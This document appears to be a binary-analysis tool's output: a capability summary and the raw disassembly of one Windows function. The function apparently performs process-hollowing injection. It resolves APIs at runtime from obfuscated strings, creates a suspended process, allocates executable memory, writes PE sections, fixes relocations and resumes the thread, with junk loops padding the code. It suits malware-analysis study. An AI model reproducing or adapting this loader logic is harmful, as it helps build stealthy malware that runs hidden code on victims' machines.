Function at 0x140024550
Capabilities:
Enumerate pe sections
Get common file path
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x938]
sub rsp, 0xa38
movsxd rdi, dword [rcx + 0x3c]
xor r13d, r13d
add rdi, rcx
mov r12, rcx
lea rsi, [rdi + 0x108]
je 0x140024bd0
test rsi, rsi
je 0x140024bd0
mov ebx, 0x2db7
lea r14d, [r13 + 1]
mov r15d, 0xea60
mov rcx, r15
call fcn.14005e3ec
mov rdx, rax
mov eax, r13d
mov rcx, rdx
cmp eax, 0x16
je 0x1400245c8
mov dword [rcx], 0x103b
add eax, r14d
add rcx, 4
cmp eax, 0x301c
jb 0x1400245af
mov rcx, rdx
call fcn.14005e3f4
sub rbx, r14
jne 0x14002459e
lea rdx, [rbp + 0x730]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ecx, ecx
call fcn.14002cfb4
mov rcx, rax
call fcn.140070bbc
xor edx, edx
lea rcx, [rbp + 0x140]
mov r8d, 0x104
call fcn.14005fff0
mov ebx, 5
lea rsi, [0x140000000]
call fcn.140070b90
movsxd rcx, eax
movabs rax, 0x8888888888888889
mul rcx
mov byte [rbp + 0x981], r13b
shr rdx, 3
imul rax, rdx, 0xf
lea rdx, [rbp + 0x980]
sub rcx, rax
movsxd rax, ecx
lea rcx, [rbp + 0x140]
mov al, byte [rax + rsi + 0x2539a0]
mov byte [rbp + 0x980], al
call fcn.140070420
sub rbx, r14
jne 0x140024616
mov ebx, 0x2ca5
mov rcx, r15
call fcn.14005e3ec
mov rdx, rax
mov eax, r13d
mov rcx, rdx
cmp eax, 0x55
je 0x140024694
mov dword [rcx], 0xdaa
add eax, r14d
add rcx, 4
cmp eax, 0x302d
jb 0x14002467b
mov rcx, rdx
call fcn.14005e3f4
sub rbx, r14
jne 0x14002466a
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x250]
call fcn.14006f684
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x250]
call fcn.14006f658
lea r8, [0x140224988]
mov word [rbp + 0x456], r13w
lea rdx, [rbp + 0x250]
mov qword [rsp + 0x70], r13
lea rcx, [rsp + 0x70]
call fcn.1400747f4
lea rcx, [rbp + 0x980]
call fcn.140029ba0
mov rcx, rax
call fcn.140029938
mov eax, eax
lea rdx, [0x14024a040]
mov ebx, 0x9960
lea rcx, [0x140277cc0]
mov r8d, ebx
lea r9, [0x140000000]
call qword [r9 + rax*8 + 0x275a00]
mov r9, qword [rsp + 0x70]
lea rcx, [0x14024a040]
mov r8d, ebx
mov rdx, r14
call fcn.140075050
mov rcx, qword [rsp + 0x70]
call fcn.140074aa8
lea rcx, [rbp + 0x980]
call fcn.14002a2d4
mov rcx, rax
call fcn.140029928
mov eax, eax
lea rdx, [rdi + 0x108]
mov rcx, rdi
lea r8, [0x140000000]
call qword [r8 + rax*8 + 0x275a50]
mov ebx, 0x68
lea rcx, [rbp + 0xd0]
mov r8d, ebx
mov byte [rbp + 0x980], al
xor edx, edx
mov sil, al
call fcn.14005fff0
xor edx, edx
mov dword [rbp + 0xd0], ebx
lea r8d, [rbx - 0x50]
lea rcx, [rsp + 0x58]
call fcn.14005fff0
mov ebx, 0x2dde
mov rcx, r15
call fcn.14005e3ec
mov rdx, rax
mov eax, r13d
mov rcx, rdx
cmp eax, 0x32
je 0x1400247db
mov dword [rcx], 0xde2
add eax, r14d
add rcx, 4
cmp eax, 0x31db
jb 0x1400247c2
mov rcx, rdx
call fcn.14005e3f4
sub rbx, r14
jne 0x1400247b1
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x988]
call fcn.140029d54
lea rcx, [rbp + 8]
call fcn.14002bd78
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r15, rax
test rax, rax
je 0x140024bd0
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x988]
call fcn.14002a204
lea rcx, [rbp + 0x988]
call fcn.140029fd0
mov rcx, rax
call fcn.140029918
lea rcx, [rbp - 0x38]
mov ebx, eax
call fcn.14002bda0
mov rcx, rax
lea rax, [0x140000000]
call qword [rax + rbx*8 + 0x275aa0]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140024bd0
lea rcx, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor r8d, r8d
lea rcx, [rbp + 0xd0]
xor edx, edx
mov qword [rsp + 0x40], rcx
lea rcx, [rbp + 0x250]
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
call rax
test rax, rax
je 0x140024bd0
lea rcx, [rbp - 0x38]
call fcn.14002b708
test sil, sil
je 0x140024920
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x988]
call fcn.140029b20
lea rcx, [rbp + 0x988]
call fcn.14002a020
mov rcx, rax
call fcn.140029908
lea rcx, [rbp - 0x60]
mov ebx, eax
call fcn.14002bda0
mov rcx, rax
lea rax, [0x140000000]
call qword [rax + rbx*8 + 0x275af0]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140024bd0
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x78]
call rax
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x988]
call fcn.140029aa0
lea rcx, [rbp + 0x988]
call fcn.14002a284
mov rcx, rax
call fcn.1400298f8
lea rcx, [rbp - 0x18]
mov ebx, eax
call fcn.14002bda0
mov rcx, rax
lea rax, [0x140000000]
call qword [rax + rbx*8 + 0x275b40]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140024bd0
lea rcx, [rbp - 0x18]
call fcn.14002b708
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov edx, dword [rdi + 0x34]
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
call rbx
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x140024a1f
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x988]
call fcn.14002a324
lea rcx, [rbp + 0x988]
call fcn.140029a50
mov rcx, rax
call fcn.1400298e8
lea rcx, [rbp - 0x60]
mov ebx, eax
call fcn.14002bcd8
mov rcx, rax
lea rax, [0x140000000]
call qword [rax + rbx*8 + 0x275b40]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140024bd0
mov rcx, qword [rsp + 0x58]
xor edx, edx
call rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rcx, [rbp - 0x60]
call fcn.14002b6b4
mov rcx, r12
call fcn.140024550
mov ebx, 0x2cff
mov ecx, 0xea60
call fcn.14005e3ec
mov rdx, rax
mov eax, r13d
mov rcx, rdx
cmp eax, 0x38
je 0x140024a50
mov dword [rcx], 0x1ddd
add eax, r14d
add rcx, 4
cmp eax, 0x3432
jb 0x140024a37
mov rcx, rdx
call fcn.14005e3f4
sub rbx, r14
jne 0x140024a24
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x988]
call fcn.14002a134
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x988]
sub eax, dword [rdi + 0x34]
mov dword [rbp + 0x998], eax
call fcn.14002a3f0
mov rcx, rax
call fcn.1400298d8
lea rcx, [rbp + 0xa8]
mov ebx, eax
call fcn.14002bd28
mov rcx, rax
lea rax, [0x140000000]
call qword [rax + rbx*8 + 0x275b90]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, dword [rdi + 0x54]
mov r14, rax
mov qword [rbp - 0x80], rax
mov r8, r12
mov qword [rsp + 0x20], r13
test sil, sil
je 0x140024adb
mov eax, dword [rsp + 0x50]
mov dword [rdi + 0x34], eax
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call r14
test rax, rax
setne al
test al, al
je 0x140024bd0
mov ebx, 0x2d7e
mov ecx, 0xea60
call fcn.14005e3ec
mov rdx, rax
xor eax, eax
mov rcx, rdx
cmp eax, 0x12
je 0x140024b25
mov dword [rcx], 0x1b4c
inc eax
add rcx, 4
cmp eax, 0x2fe8
jb 0x140024b0d
mov rcx, rdx
call fcn.14005e3f4
sub rbx, 1
jne 0x140024afb
xor r11d, r11d
cmp dword [rdi + 0xa0], r11d
je 0x140024b48
mov rbx, qword [rdi + 0xa0]
jmp 0x140024b52
mov qword [rbp + 0x988], r11
mov rbx, r11
movzx eax, word [rdi + 6]
mov qword [rsp + 0x78], rbx
test sil, sil
je 0x140024be6
mov r14d, r11d
cmp r11w, ax
jae 0x140024bd0
mov rsi, r11
movzx eax, word [rdi + 0x14]
lea rdx, [rdi + 0x18]
add rax, rsi
add rdx, rax
mov r10d, dword [rdx + 0xc]
cmp ebx, r10d
jb 0x140024b93
mov ecx, dword [rdx + 8]
add ecx, r10d
cmp ebx, ecx
cmovb r13, rdx
mov r8d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x10]
add r8, r12
mov rcx, qword [rsp + 0x58]
mov rdx, r10
add rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], r11
call qword [rbp - 0x80]
xor r11d, r11d
test rax, rax
je 0x140024bd0
movzx eax, word [rdi + 6]
inc r14d
add rsi, 0x28
cmp r14d, eax
jl 0x140024b70
test r13, r13
jne 0x140024c32
xor al, al
add rsp, 0xa38
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ebx, r11d
cmp r11w, ax
jae 0x140024c39
mov rsi, r11
movzx eax, word [rdi + 0x14]
mov rcx, qword [rsp + 0x58]
add rax, rsi
mov qword [rsp + 0x20], r11
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
add r8, r12
add rdx, qword [rsp + 0x50]
mov r9d, dword [rax + rdi + 0x28]
call r14
xor r11d, r11d
test rax, rax
je 0x140024bd0
movzx eax, word [rdi + 6]
inc ebx
add rsi, 0x28
cmp ebx, eax
jl 0x140024bf2
mov sil, byte [rbp + 0x980]
mov ebx, 0x2d3c
xor r14d, r14d
mov ecx, 0xea60
call fcn.14005e3ec
mov rdx, rax
mov eax, r14d
mov rcx, rdx
cmp eax, 0xa
je 0x140024c6c
mov dword [rcx], 0x1adf
inc eax
add rcx, 4
cmp eax, 0x31d2
jb 0x140024c54
mov rcx, rdx
call fcn.14005e3f4
sub rbx, 1
jne 0x140024c41
test sil, sil
je 0x140024dce
mov esi, r14d
cmp dword [rsp + 0x7c], r14d
jbe 0x140024dce
xor r10d, r10d
mov eax, dword [r13 + 0x14]
mov r8d, r10d
add rax, r12
mov edx, esi
add rdx, rax
mov dword [rbp + 0x990], r10d
add esi, 8
mov qword [rbp - 0x68], rdx
mov r14d, dword [rdx + 4]
sub r14, 8
shr r14, 1
test r14d, r14d
je 0x140024dc1
mov eax, dword [r13 + 0x14]
add rax, r12
mov ecx, esi
add esi, 2
movzx r9d, word [rcx + rax]
mov eax, 0x1000
cmp r9w, ax
jb 0x140024dae
mov edx, dword [rdx]
and r9d, 0xfff
mov rcx, qword [rsp + 0x50]
add rcx, r9
mov dword [rbp + 0x988], r10d
add rdx, rcx
lea rcx, [rbp + 0x980]
mov qword [rbp - 0x70], rdx
lea rdx, [rbp - 0x60]
call fcn.14002a070
lea rcx, [rbp + 0x980]
call fcn.14002a164
mov rcx, rax
call fcn.1400298c8
lea rcx, [rbp - 0x60]
mov ebx, eax
call fcn.14002bd00
mov rcx, rax
lea rax, [0x140000000]
call qword [rax + rbx*8 + 0x275b90]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
test rax, rax
je 0x140024bd0
mov rdx, qword [rbp - 0x70]
lea r9d, [rcx + 4]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x988]
mov rcx, qword [rsp + 0x58]
call rax
mov eax, dword [rbp + 0x998]
lea r8, [rbp + 0x988]
add dword [rbp + 0x988], eax
xor eax, eax
mov rdx, qword [rbp - 0x70]
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9d, [rax + 4]
call qword [rbp - 0x80]
mov rdx, qword [rbp - 0x68]
xor r10d, r10d
mov r8d, dword [rbp + 0x990]
inc r8d
mov dword [rbp + 0x990], r8d
cmp r8d, r14d
jb 0x140024cc5
cmp esi, dword [rsp + 0x7c]
jb 0x140024c94
xor r14d, r14d
lea rdx, [rbp + 0x48]
mov dword [rbp + 0x460], 0x10000b
lea rcx, [rbp + 0x980]
call fcn.14002a398
lea rcx, [rbp + 0x980]
call fcn.1400299b0
mov rcx, rax
call fcn.1400298b8
lea rcx, [rbp + 0x48]
mov ebx, eax
call fcn.14002bd50
mov rcx, rax
lea r12, [0x140000000]
call qword [r12 + rbx*8 + 0x275b90]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140024bd0
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x460]
call rax
mov edx, dword [rbp + 0x504]
lea r8, [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r14
call qword [rbp - 0x80]
lea rcx, [rbp + 0x48]
call fcn.14002b6d8
mov ebx, 0x2ce4
mov esi, 0xea60
mov rcx, rsi
call fcn.14005e3ec
mov rdx, rax
mov eax, r14d
mov rcx, rdx
cmp eax, 0x4c
je 0x140024e9a
mov dword [rcx], 0x1b17
inc eax
add rcx, 4
cmp eax, 0x3380
jb 0x140024e82
mov rcx, rdx
call fcn.14005e3f4
sub rbx, 1
jne 0x140024e71
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x980]
call fcn.140029dcc
mov ecx, dword [rdi + 0x28]
add ecx, dword [rsp + 0x50]
mov dword [rbp + 0x510], ecx
lea rcx, [rbp + 0x980]
call fcn.140029c90
mov rcx, rax
call fcn.1400298a8
lea rcx, [rbp + 0x78]
mov ebx, eax
call fcn.14002bd50
mov rcx, rax
call qword [r12 + rbx*8 + 0x275be0]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp + 0x460]
call rax
lea rcx, [rbp + 0x78]
call fcn.14002b6d8
mov ebx, 0x2df5
mov rcx, rsi
call fcn.14005e3ec
mov rdx, rax
mov eax, r14d
mov rcx, rdx
cmp eax, 0x26
je 0x140024f40
mov dword [rcx], 0x1886
inc eax
add rcx, 4
cmp eax, 0x2f36
jb 0x140024f28
mov rcx, rdx
call fcn.14005e3f4
sub rbx, 1
jne 0x140024f17
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x980]
call fcn.14002a3c8
lea rcx, [rbp + 0x980]
call fcn.140029f80
mov rcx, rax
call fcn.140029898
lea rcx, [rbp + 0x28]
mov ebx, eax
call fcn.14002bd78
mov rcx, rax
call qword [r12 + rbx*8 + 0x275c30]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x60]
call rax
mov al, 1
jmp 0x140024bd2